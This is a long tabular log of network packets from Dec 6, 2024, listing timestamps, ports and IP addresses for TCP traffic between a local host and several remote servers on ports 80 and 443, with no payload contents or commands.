Dec 6, 2024 18:45:50.418654919 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.418662071 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.418690920 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.418716908 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.420804024 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.420831919 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.420857906 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.420865059 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.420903921 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.420922995 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.425338030 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.425354004 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.425405025 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.425412893 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.425451040 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.425463915 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.428035975 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.428064108 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.428092957 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.428098917 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.428143978 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.428167105 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.429502964 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.429577112 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.429673910 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.429814100 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.429819107 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.429847956 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.429878950 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.429919004 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.430886984 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.430896044 CET	49823	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:50.430902004 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.430922031 CET	443	49823	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:50.430934906 CET	49823	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:50.430942059 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.430942059 CET	443	49823	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:50.431478024 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.431543112 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.431551933 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.431603909 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.431982994 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.432025909 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.432210922 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.432250023 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.432662964 CET	49822	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:50.432674885 CET	443	49822	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:50.433074951 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.433177948 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.433196068 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.433271885 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.434153080 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.434187889 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.434210062 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.434223890 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.435168028 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.435214996 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.435225010 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.435261011 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.435821056 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.435843945 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.435882092 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.435889006 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.435914993 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.435933113 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.436233997 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.436276913 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.436285019 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.436317921 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.437366962 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.437479973 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.437978029 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.438021898 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.438127041 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.438147068 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.438180923 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.438185930 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.438225031 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.438235998 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.438440084 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.438483000 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.438838959 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.438885927 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.439521074 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.439538956 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.439578056 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.439610004 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.440500021 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.440541983 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.440706968 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.440757036 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.441620111 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.441652060 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.441682100 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.441721916 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.442696095 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.442708969 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.442744017 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.442754984 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.443649054 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.443670988 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.443736076 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.443742037 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.443753004 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.443780899 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.444137096 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.444149971 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.444185972 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.444796085 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.444816113 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.444883108 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.444890022 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.444916010 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.444926977 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.444927931 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.444952965 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.444966078 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.445677042 CET	49828	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:50.445688963 CET	443	49828	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:50.445743084 CET	49828	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:50.445950985 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.445962906 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.446006060 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.446022034 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.446935892 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.446981907 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.447175980 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.447269917 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.448159933 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.448172092 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.448203087 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.448219061 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.449258089 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.449268103 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.449301004 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.449914932 CET	49828	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:50.449927092 CET	443	49828	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:50.450273037 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.450321913 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.450387955 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.451360941 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.451373100 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.451406956 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.451440096 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.452315092 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.452717066 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.452769995 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.453423023 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.453633070 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.453670025 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.453710079 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.454269886 CET	49829	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:50.454303026 CET	443	49829	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:50.454360008 CET	49829	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:50.454497099 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.454585075 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.454643011 CET	49829	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:50.454655886 CET	443	49829	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:50.455013990 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.455168962 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.455528021 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.455677986 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.455728054 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.456300020 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.456646919 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.456697941 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.457047939 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.457051039 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.457149982 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.457771063 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.457782030 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.457819939 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.458802938 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.458868027 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.459062099 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.459103107 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.459904909 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.460171938 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.460875034 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.461028099 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.461030006 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.461040020 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.461069107 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.461082935 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.462008953 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.462066889 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.462153912 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.462194920 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.463078022 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.463092089 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.463161945 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.464144945 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.465044022 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.465100050 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.465238094 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.465250015 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.465292931 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.466309071 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.466348886 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.466568947 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.467391014 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.467432976 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.468499899 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.468512058 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.468528032 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.468549013 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.468564034 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.469564915 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.469695091 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.469729900 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.470839977 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.470851898 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.470885992 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.471690893 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.471730947 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.471856117 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.472163916 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.472695112 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.472738028 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.472924948 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.472964048 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.473823071 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.473835945 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.473880053 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.473896027 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.474878073 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.474917889 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.475840092 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.475900888 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.475934029 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.476154089 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.476223946 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.476442099 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.476979971 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.477026939 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.477061033 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.477099895 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.478096008 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.478913069 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.478962898 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.479186058 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.479269028 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.479307890 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.480246067 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.480382919 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.480422974 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.481316090 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.482013941 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.482055902 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.482508898 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.482547998 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.482713938 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.483436108 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.483477116 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.483480930 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.484163046 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.484554052 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.484621048 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.484663010 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.485624075 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.488176107 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.530595064 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.530623913 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.530932903 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.530936956 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.556356907 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.556384087 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.556430101 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.556463957 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.556478977 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.560178995 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.590838909 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.590868950 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.591103077 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.591116905 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.591177940 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.597938061 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.597946882 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.598032951 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.598042011 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.598086119 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.604331017 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.604350090 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.604406118 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.604413986 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.604455948 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.606982946 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.607002020 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.607043982 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.607048035 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.607074022 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.607094049 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.608073950 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.608129978 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.608134985 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.608165026 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.608186960 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.608200073 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.614653111 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.614691019 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.614727020 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.614732981 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.614785910 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.621449947 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.621490002 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.621546030 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.621551991 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.621577978 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.621581078 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.621598959 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.621629953 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.623220921 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.623270988 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.623521090 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.623560905 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.623800993 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.623812914 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.623846054 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.624428988 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.624439955 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.624480963 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.624744892 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.624785900 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.624825954 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.625788927 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.625834942 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.625920057 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.626822948 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.626866102 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.627010107 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.627043009 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.627988100 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.628163099 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.628407001 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.628447056 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.628977060 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.630067110 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.630079031 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.630110025 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.630136967 CET	49796	80	192.168.2.6	185.215.113.206
